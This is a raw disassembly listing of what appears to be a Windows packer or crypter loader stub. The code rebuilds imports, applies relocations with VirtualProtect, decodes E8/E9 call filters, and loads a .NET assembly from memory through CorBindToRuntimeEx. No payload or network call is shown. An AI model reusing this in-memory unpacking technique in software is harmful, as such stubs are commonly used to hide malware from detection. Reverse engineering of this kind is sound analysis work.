		call	ds:dword_437248	; VirtualProtect
		mov	eax, [ebp+var_50]
		mov	ecx, ds:dword_437028
		add	ecx, [eax+0Ch]
		mov	[ebp+var_C], ecx
		push	[ebp+var_C]
		call	ds:dword_437244	; GetModuleHandleA
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jnz	short loc_437E7D
		push	8
		push	0
		push	[ebp+var_C]
		call	ds:dword_437240	; LoadLibraryExA
		mov	[ebp+var_30], eax

loc_437E7D:				; CODE XREF: start+432j
		cmp	[ebp+var_30], 0
		jnz	short loc_437EBB
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_54]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	8
		push	0
		push	[ebp+var_4]
		call	ds:dword_437240	; LoadLibraryExA
		mov	[ebp+var_30], eax

loc_437EBB:				; CODE XREF: start+448j
		cmp	[ebp+var_30], 0
		jnz	short loc_437EED
		push	[ebp+var_C]
		push	offset aARequired_dllF ; "A required .DLL file,	%hs, was not foun"...
		push	[ebp+var_24]
		call	ds:dword_43725C	; wsprintfA
		add	esp, 0Ch
		push	30h
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	ds:dword_437260	; MessageBoxA
		push	0
		call	ds:dword_43724C	; ExitProcess

loc_437EED:				; CODE XREF: start+486j
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+var_30]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_50]
		mov	dword ptr [eax+4], 0CDC31337h
		mov	eax, [ebp+var_50]
		mov	ecx, ds:dword_437028
		add	ecx, [eax+10h]
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_50]
		cmp	dword ptr [eax], 0
		jnz	short loc_437F1F
		mov	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		jmp	short loc_437F2D
; ---------------------------------------------------------------------------

loc_437F1F:				; CODE XREF: start+4DCj
		mov	eax, [ebp+var_50]
		mov	ecx, ds:dword_437028
		add	ecx, [eax]
		mov	[ebp+var_18], ecx

loc_437F2D:				; CODE XREF: start+4E4j start+5E9j
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax], 0
		jz	loc_438027
		and	[ebp+var_5C], 0
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_437F67
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 0FFFFh
		movzx	eax, ax
		push	eax
		push	[ebp+var_30]
		call	ds:dword_43723C	; GetProcAddress
		mov	[ebp+var_5C], eax
		jmp	short loc_437F87
; ---------------------------------------------------------------------------

loc_437F67:				; CODE XREF: start+510j
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		add	eax, ds:dword_437028
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		push	eax
		push	[ebp+var_30]
		call	ds:dword_43723C	; GetProcAddress
		mov	[ebp+var_5C], eax

loc_437F87:				; CODE XREF: start+52Cj
		cmp	[ebp+var_5C], 0
		jnz	short loc_437FF7
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_437FC2
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 0FFFFh
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		push	[ebp+var_58]
		push	offset aTheHsFileIsLin ; "The %hs file is \nlinked to missing expo"...
		push	[ebp+var_24]
		call	ds:dword_43725C	; wsprintfA
		add	esp, 14h
		jmp	short loc_437FDF
; ---------------------------------------------------------------------------

loc_437FC2:				; CODE XREF: start+560j
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		push	eax
		push	[ebp+var_C]
		push	[ebp+var_58]
		push	offset aTheHsFileIsL_0 ; "The %hs file is \nlinked to missing expo"...
		push	[ebp+var_24]
		call	ds:dword_43725C	; wsprintfA
		add	esp, 14h

loc_437FDF:				; CODE XREF: start+587j
		push	30h
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	ds:dword_437260	; MessageBoxA
		push	0
		call	ds:dword_43724C	; ExitProcess

loc_437FF7:				; CODE XREF: start+552j
		lea	eax, [ebp+var_48]
		push	eax
		push	40h
		push	4
		push	[ebp+var_20]
		call	ds:dword_437248	; VirtualProtect
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_5C]
		mov	[eax], ecx
		mov	eax, [ebp+var_18]
		add	eax, 4
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_20]
		add	eax, 4
		mov	[ebp+var_20], eax
		jmp	loc_437F2D
; ---------------------------------------------------------------------------

loc_438027:				; CODE XREF: start+4FAj
		mov	eax, [ebp+var_50]
		add	eax, 14h
		mov	[ebp+var_50], eax
		jmp	loc_437E1F
; ---------------------------------------------------------------------------

loc_438035:				; CODE XREF: start+3EDj start+3FCj
		mov	eax, ds:off_437024
		mov	eax, [eax+1Ch]
		cmp	eax, ds:dword_437028
		jz	loc_4381AC
		mov	eax, ds:off_437024
		cmp	dword ptr [eax+28h], 0
		jz	loc_4381AC
		mov	eax, ds:off_437024
		mov	ecx, ds:dword_437028
		add	ecx, [eax+28h]
		mov	[ebp+var_34], ecx

loc_438069:				; CODE XREF: start+76Ej
		mov	eax, [ebp+var_34]
		cmp	dword ptr [eax], 0
		jz	loc_4381AC
		mov	eax, [ebp+var_34]
		add	eax, 8
		mov	[ebp+var_4C], eax
		and	[ebp+var_28], 0
		jmp	short loc_43808B
; ---------------------------------------------------------------------------

loc_438084:				; CODE XREF: start+75Dj
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax

loc_43808B:				; CODE XREF: start+649j
		mov	eax, [ebp+var_34]
		mov	eax, [eax+4]
		sub	eax, 8
		cdq
		sub	eax, edx
		sar	eax, 1
		cmp	[ebp+var_28], eax
		jge	loc_43819B
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		add	eax, ds:dword_437028
		mov	ecx, [ebp+var_4C]
		movzx	ecx, word ptr [ecx]
		and	ecx, 0FFFh
		add	eax, ecx
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_4C]
		movzx	eax, word ptr [eax]
		sar	eax, 0Ch
		mov	[ebp+var_60], eax
		cmp	[ebp+var_60], 0
		jz	short loc_4380DB
		cmp	[ebp+var_60], 3
		jz	short loc_4380E0
		jmp	loc_438161
; ---------------------------------------------------------------------------

loc_4380DB:				; CODE XREF: start+695j
		jmp	loc_43818E
; ---------------------------------------------------------------------------

loc_4380E0:				; CODE XREF: start+69Bj
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	[ebp+var_48], eax
		mov	eax, ds:off_437024
		mov	ecx, [ebp+var_48]
		sub	ecx, [eax+1Ch]
		add	ecx, ds:dword_437028
		mov	[ebp+var_48], ecx
		mov	eax, [ebp+var_48]
		cmp	eax, ds:dword_437028
		jb	short loc_438118
		mov	eax, [ebp+var_10]
		mov	ecx, ds:dword_437028
		add	ecx, [eax+50h]
		cmp	[ebp+var_48], ecx
		jbe	short loc_438146

loc_438118:				; CODE XREF: start+6CCj
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax]
		push	offset aErrorBadReloca ; "Error	bad relocation pointer:	*pdw = 0x"...
		push	[ebp+var_24]
		call	ds:dword_43725C	; wsprintfA
		add	esp, 0Ch
		push	0
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	ds:dword_437260	; MessageBoxA
		push	0
		call	ds:dword_43724C	; ExitProcess

loc_438146:				; CODE XREF: start+6DDj
		lea	eax, [ebp+var_2C]
		push	eax
		push	40h
		push	4
		push	[ebp+var_1C]
		call	ds:dword_437248	; VirtualProtect
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		jmp	short loc_43818E
; ---------------------------------------------------------------------------

loc_438161:				; CODE XREF: start+69Dj
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax]
		mov	eax, [ebp+var_4C]
		movzx	eax, word ptr [eax]
		push	eax
		push	offset aUnexpectedRelo ; "Unexpected relocation	type: *pw = 0x%04"...
		push	[ebp+var_24]
		call	ds:dword_43725C	; wsprintfA
		add	esp, 10h
		push	0
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	ds:dword_437260	; MessageBoxA

loc_43818E:				; CODE XREF: start:loc_4380DBj
					; start+726j
		mov	eax, [ebp+var_4C]
		inc	eax
		inc	eax
		mov	[ebp+var_4C], eax
		jmp	loc_438084
; ---------------------------------------------------------------------------

loc_43819B:				; CODE XREF: start+663j
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_34]
		add	ecx, [eax+4]
		mov	[ebp+var_34], ecx
		jmp	loc_438069
; ---------------------------------------------------------------------------

loc_4381AC:				; CODE XREF: start+60Aj start+619j ...
		mov	eax, ds:off_437024
		cmp	dword ptr [eax+30h], 0
		jz	short loc_4381BC
		call	sub_43828D

loc_4381BC:				; CODE XREF: start+77Cj
		mov	eax, ds:off_437024
		mov	ecx, ds:dword_437028
		add	ecx, [eax+14h]
		mov	[ebp+var_38], ecx

loc_4381CD:				; CODE XREF: start+58j
					; start:loc_438230j
		push	8000h
		push	0
		push	[ebp+var_24]
		call	ds:dword_437234	; VirtualFree
		push	8000h
		push	0
		push	[ebp+var_4]
		call	ds:dword_437234	; VirtualFree
		push	8000h
		push	0
		push	[ebp+var_14]
		call	ds:dword_437234	; VirtualFree
		mov	eax, ds:off_437024
		cmp	dword ptr [eax+68h], 0
		jz	short loc_438210
		push	0
		call	ds:dword_43724C	; ExitProcess

loc_438210:				; CODE XREF: start+7CDj
		mov	eax, [ebp+var_38]
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 60h
		pop	ebp
		push	eax
		mov	eax, ds:off_437024
		cmp	dword ptr [eax+14h], 0
		jnz	short loc_43822B
		pop	eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_43822B:				; CODE XREF: start+7EBj
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		jmp	short loc_438232
; ---------------------------------------------------------------------------

loc_438230:				; CODE XREF: start+1BCj
		jmp	short loc_4381CD
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_438232:				; CODE XREF: start+7F5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438237	proc near		; CODE XREF: sub_43828D+25p
					; DATA XREF: .ex_cod:00437004o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_43700C, 0
		push	esi
		jz	short loc_438266
		mov	eax, ds:off_437024
		mov	esi, [eax+40h]
		test	esi, esi
		jz	short loc_438288

loc_438250:				; CODE XREF: sub_438237+2Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_438288
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		add	esi, 4
		jmp	short loc_438250
; ---------------------------------------------------------------------------

loc_438266:				; CODE XREF: sub_438237+Bj
		mov	eax, [ebp+arg_0]
		mov	ds:dword_437010, 1
		mov	ds:dword_437014, eax
		mov	eax, [ebp+arg_4]
		mov	ds:dword_437018, eax
		mov	eax, [ebp+arg_8]
		mov	ds:dword_43701C, eax

loc_438288:				; CODE XREF: sub_438237+17j
					; sub_438237+1Dj
		pop	esi
		pop	ebp
		retn	0Ch
sub_438237	endp


; =============== S U B	R O U T	I N E =======================================



sub_43828D	proc near		; CODE XREF: start+77Ep
		cmp	ds:dword_437010, 0
		mov	ds:dword_43700C, 1
		jz	short locret_4382B7
		push	ds:dword_43701C
		push	ds:dword_437018
		push	ds:dword_437014
		call	sub_438237

locret_4382B7:				; CODE XREF: sub_43828D+11j
		retn
sub_43828D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4382B8	proc near		; CODE XREF: start+1B5p

var_48		= byte ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		mov	edi, ds:dword_437254
		xor	ebx, ebx
		push	offset aOle32_dll ; "ole32.dll"
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	edi	; LoadLibraryA
		mov	esi, ds:dword_43723C
		push	offset aCoinitialize ; "CoInitialize"
		push	eax
		mov	[ebp+var_38], eax
		call	esi	; GetProcAddress
		push	offset aCouninitialize ; "CoUninitialize"
		mov	[ebp+var_18], eax
		push	[ebp+var_38]
		call	esi	; GetProcAddress
		push	offset aMscoree_dll ; "mscoree.dll"
		mov	[ebp+var_38], eax
		call	edi	; LoadLibraryA
		push	offset aCorbindtorunti ; "CorBindToRuntimeEx"
		push	eax
		call	esi	; GetProcAddress
		push	offset aOleaut32_dll ; "oleaut32.dll"
		mov	[ebp+var_1C], eax
		call	edi	; LoadLibraryA
		mov	edi, eax
		push	19Bh
		push	edi
		call	esi	; GetProcAddress
		push	17h
		push	edi
		mov	[ebp+var_20], eax
		call	esi	; GetProcAddress
		push	18h
		push	edi
		mov	[ebp+var_24], eax
		call	esi	; GetProcAddress
		push	8
		push	edi
		mov	[ebp+var_2C], eax
		call	esi	; GetProcAddress
		push	10h
		push	edi
		mov	[ebp+var_30], eax
		call	esi	; GetProcAddress
		cmp	[ebp+var_18], ebx
		mov	[ebp+var_34], eax
		jz	loc_4384E6
		cmp	[ebp+var_38], ebx
		jz	loc_4384E6
		cmp	[ebp+var_1C], ebx
		jz	loc_4384E6
		cmp	[ebp+var_20], ebx
		jz	loc_4384E6
		cmp	[ebp+var_24], ebx
		jz	loc_4384E6
		cmp	[ebp+var_2C], ebx
		jz	loc_4384E6
		cmp	[ebp+var_30], ebx
		jz	loc_4384E6
		cmp	eax, ebx
		jz	loc_4384E6
		push	ebx
		call	[ebp+var_18]
		test	eax, eax
		jl	loc_4384E6
		lea	eax, [ebp+var_4]
		push	eax
		push	offset loc_437338
		push	(offset	loc_437345+3)
		push	2
		push	offset aWks	; "wks"
		push	ebx
		call	[ebp+var_1C]
		test	eax, eax
		jl	loc_4384E6
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+28h]
		test	eax, eax
		jl	loc_4384E6
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_8]
		push	edx
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		test	eax, eax
		mov	eax, [ebp+var_8]
		jl	loc_4384E9
		mov	ecx, [eax]
		lea	edx, [ebp+var_14]
		push	edx
		push	offset dword_437150
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	loc_4384E6
		push	[ebp+arg_4]
		push	ebx
		push	11h
		call	[ebp+var_20]
		cmp	eax, ebx
		mov	[ebp+var_18], eax
		jz	loc_4384E6
		lea	ecx, [ebp+var_28]
		mov	[ebp+var_28], ebx
		push	ecx
		push	eax
		call	[ebp+var_24]
		test	eax, eax
		jge	short loc_43843F
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		jz	short loc_438429
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_438429:				; CODE XREF: sub_4382B8+169j
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	loc_4384CC
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_4384CC
; ---------------------------------------------------------------------------

loc_43843F:				; CODE XREF: sub_4382B8+162j
		mov	ecx, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+var_28]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		push	[ebp+var_18]
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	[ebp+var_2C]
		mov	eax, [ebp+var_14]
		lea	edx, [ebp+var_10]
		push	edx
		push	[ebp+var_18]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0B4h]
		test	eax, eax
		jl	short loc_4384B7
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+40h]
		test	eax, eax
		jl	short loc_4384B7
		lea	eax, [ebp+var_48]
		push	eax
		call	[ebp+var_30]
		push	ebx
		push	ebx
		sub	esp, 10h
		lea	esi, [ebp+var_48]
		mov	edi, esp
		mov	eax, [ebp+var_C]
		movsd
		mov	ecx, [eax]
		push	eax
		movsd
		movsd
		movsd
		call	dword ptr [ecx+94h]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+2Ch]
		push	[ebp+var_18]
		call	[ebp+var_34]
		call	[ebp+var_38]

loc_4384B7:				; CODE XREF: sub_4382B8+1B9j
					; sub_4382B8+1CAj
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		jz	short loc_4384C4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_4384C4:				; CODE XREF: sub_4382B8+204j
		lea	ecx, [ebp+var_4]
		call	sub_43852C

loc_4384CC:				; CODE XREF: sub_4382B8+176j
					; sub_4382B8+182j
		lea	ecx, [ebp+var_C]
		call	sub_43852C
		lea	ecx, [ebp+var_10]
		call	sub_43852C
		lea	ecx, [ebp+var_14]
		call	sub_43852C
		jmp	short loc_438527
; ---------------------------------------------------------------------------

loc_4384E6:				; CODE XREF: sub_4382B8+91j
					; sub_4382B8+9Aj ...
		mov	eax, [ebp+var_8]

loc_4384E9:				; CODE XREF: sub_4382B8+125j
		cmp	eax, ebx
		jz	short loc_4384F3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_4384F3:				; CODE XREF: sub_4382B8+233j
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	short loc_438500
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_438500:				; CODE XREF: sub_4382B8+240j
		mov	eax, [ebp+var_C]
		cmp	eax, ebx
		jz	short loc_43850D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_43850D:				; CODE XREF: sub_4382B8+24Dj
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_43851A
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_43851A:				; CODE XREF: sub_4382B8+25Aj
		mov	eax, [ebp+var_14]
		cmp	eax, ebx
		jz	short loc_438527
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_438527:				; CODE XREF: sub_4382B8+22Cj
					; sub_4382B8+267j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4382B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_43852C	proc near		; CODE XREF: sub_4382B8+20Fp
					; sub_4382B8+217p ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_438538
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_438538:				; CODE XREF: sub_43852C+4j
		retn
sub_43852C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438539	proc near		; CODE XREF: sub_437960+CAp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		push	1
		mov	esi, [ebp+arg_C]
		pop	ecx
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], ecx
		xor	eax, eax
		and	[ebp+var_C], al
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_B], cl
		mov	ecx, [ebp+arg_4]
		add	ecx, 0FFFFFFFBh
		mov	[ebp+var_20], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_A], 2
		mov	[ebp+var_9], 2
		mov	[ebp+var_8], 3
		mov	[ebp+var_7], 3
		mov	[ebp+var_6], 3
		mov	[ebp+var_5], 3
		mov	[ebp+var_4], ecx

loc_438589:				; CODE XREF: sub_438539+16Fj
		mov	edi, [ebp+arg_0]
		mov	cl, [eax+edi]
		cmp	cl, 0E8h
		jz	short loc_43859F
		cmp	cl, 0E9h
		jz	short loc_43859F
		inc	eax
		jmp	loc_4386A5
; ---------------------------------------------------------------------------

loc_43859F:				; CODE XREF: sub_438539+59j
					; sub_438539+5Ej
		mov	edx, [ebp+arg_10]
		mov	ebx, [ebp+arg_8]
		mov	ecx, eax
		sub	ecx, [edx]
		add	ecx, ebx
		add	ebx, eax
		cmp	ecx, 5
		mov	[edx], ebx
		jbe	short loc_4385B9
		and	dword ptr [esi], 0
		jmp	short loc_4385C9
; ---------------------------------------------------------------------------

loc_4385B9:				; CODE XREF: sub_438539+79j
		test	ecx, ecx
		jbe	short loc_4385C9

loc_4385BD:				; CODE XREF: sub_438539+8Ej
		mov	edx, [esi]
		and	edx, 77h
		shl	edx, 1
		dec	ecx
		mov	[esi], edx
		jnz	short loc_4385BD

loc_4385C9:				; CODE XREF: sub_438539+7Ej
					; sub_438539+82j
		mov	dl, [eax+edi+4]
		test	dl, dl
		jz	short loc_4385DA
		cmp	dl, 0FFh
		jnz	loc_438691

loc_4385DA:				; CODE XREF: sub_438539+96j
		mov	ecx, [esi]
		mov	[ebp+arg_4], ecx
		shr	[ebp+arg_4], 1
		mov	ebx, [ebp+arg_4]
		and	ebx, 7
		cmp	[ebp+ebx*4+var_2C], 0
		jz	loc_438691
		and	ecx, 0FFFFFFFEh
		cmp	ecx, 20h
		jnb	loc_438691
		xor	ecx, ecx
		mov	ch, dl
		mov	cl, [eax+edi+3]
		movzx	edx, byte ptr [eax+edi+2]
		shl	ecx, 8
		or	ecx, edx
		movzx	edx, byte ptr [eax+edi+1]
		shl	ecx, 8
		or	edx, ecx

loc_43861B:				; CODE XREF: sub_438539+125j
		sub	edx, eax
		sub	edx, [ebp+arg_8]
		sub	edx, 5
		cmp	dword ptr [esi], 0
		mov	ebx, edx
		jz	short loc_438663
		mov	ecx, [ebp+arg_4]
		push	18h
		movzx	edi, [ebp+ecx+var_C]
		mov	ecx, edi
		shl	ecx, 3
		mov	edx, ecx
		pop	ecx
		sub	ecx, edx
		mov	edx, ebx
		shr	edx, cl
		test	dl, dl
		jz	short loc_43864B
		cmp	dl, 0FFh
		jnz	short loc_438660

loc_43864B:				; CODE XREF: sub_438539+10Bj
		push	4
		pop	ecx
		sub	ecx, edi
		push	1
		shl	ecx, 3
		pop	edx
		mov	edi, [ebp+arg_0]
		shl	edx, cl
		dec	edx
		xor	edx, ebx
		jmp	short loc_43861B
; ---------------------------------------------------------------------------

loc_438660:				; CODE XREF: sub_438539+110j
		mov	edi, [ebp+arg_0]

loc_438663:				; CODE XREF: sub_438539+EFj
		mov	ecx, ebx
		add	eax, 5
		shr	ecx, 18h
		and	cl, 1
		dec	cl
		not	cl
		mov	[eax+edi-1], cl
		mov	ecx, ebx
		shr	ecx, 10h
		mov	[eax+edi-2], cl
		mov	ecx, ebx
		shr	ecx, 8
		mov	[eax+edi-3], cl
		mov	[eax+edi-4], bl
		and	dword ptr [esi], 0
		jmp	short loc_4386A5
; ---------------------------------------------------------------------------

loc_438691:				; CODE XREF: sub_438539+9Bj
					; sub_438539+B4j ...
		or	dword ptr [esi], 1
		mov	ecx, [esi]
		inc	eax
		test	dl, dl
		jz	short loc_4386A0
		cmp	dl, 0FFh
		jnz	short loc_4386A5

loc_4386A0:				; CODE XREF: sub_438539+160j
		or	ecx, 10h
		mov	[esi], ecx

loc_4386A5:				; CODE XREF: sub_438539+61j
					; sub_438539+156j ...
		cmp	eax, [ebp+var_4]
		jbe	loc_438589
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_438539	endp

; ---------------------------------------------------------------------------
		align 8
off_4386B8	dd offset dword_422000	; DATA XREF: start+188w start+19Cr ...
dword_4386BC	dd 8A4E00h		; DATA XREF: start+15Fw start+165r ...
dword_4386C0	dd 14AA2h		; DATA XREF: start+175w start+21Dw ...
		dd 2 dup(0)
		dd 37304h, 37234h, 37228h, 2 dup(0)
		dd 3732Ch, 3725Ch, 5 dup(0)
dword_4386FC	dd 0ECh, 21000h, 14AA2h, 200h, 22000h, 21000h, 37A39h
					; DATA XREF: .ex_cod:off_437024o
		dd 400000h, 10Fh, 21551h, 0
		dd 1, 0Dh dup(0)
		dd 1, 0
		dd 15200h, 5, 1, 200h, 0F800h, 1000h, 15FE7h, 0E0000060h
		dd 1, 200h, 0A00h, 17000h, 0E4Ch, 0E0000060h, 1, 200h
		dd 3E00h, 18000h, 70C8h, 0E0000060h, 1,	200h, 600h, 20000h
		dd 645h, 0E0000060h, 1,	200h, 800h, 21000h, 6D8h, 0E0000060h
		dd 0
_ex_cod		ends

; Section 4. (virtual address 00039000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00038800
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 439000h
		align 2000h
_idata2		ends


		end start